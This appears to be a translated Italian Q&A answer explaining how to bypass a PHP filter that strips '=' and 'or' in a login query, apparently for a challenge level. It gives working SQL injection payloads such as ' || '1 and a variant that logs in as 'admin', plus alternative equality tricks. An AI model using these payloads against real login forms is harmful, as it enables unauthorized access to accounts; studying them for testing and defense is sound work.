Mysql
 sql >> Database >  >> RDS >> Mysql

Iniezione SQL con filtro php

Assumendo questa definizione di lvl2_filter , che sostanzialmente rimuove qualsiasi occorrenza di = e or fino a quando non viene più trovato, dovrebbe essere ancora possibile utilizzare il operazione OR logica con || invece di OR e una semplice espressione che restituisce true come:

username: dummy
password: ' || '1

Ciò comporterebbe:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Per selezionare un utente specifico, è possibile utilizzare le regole dell'algebra booleana , dove x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Ciò comporterebbe:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Qui <> è equivalente a != ma non contiene un = .

Ci sono anche altre operazioni che è possibile utilizzare per garantire nome utente è uguale a admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
  • ...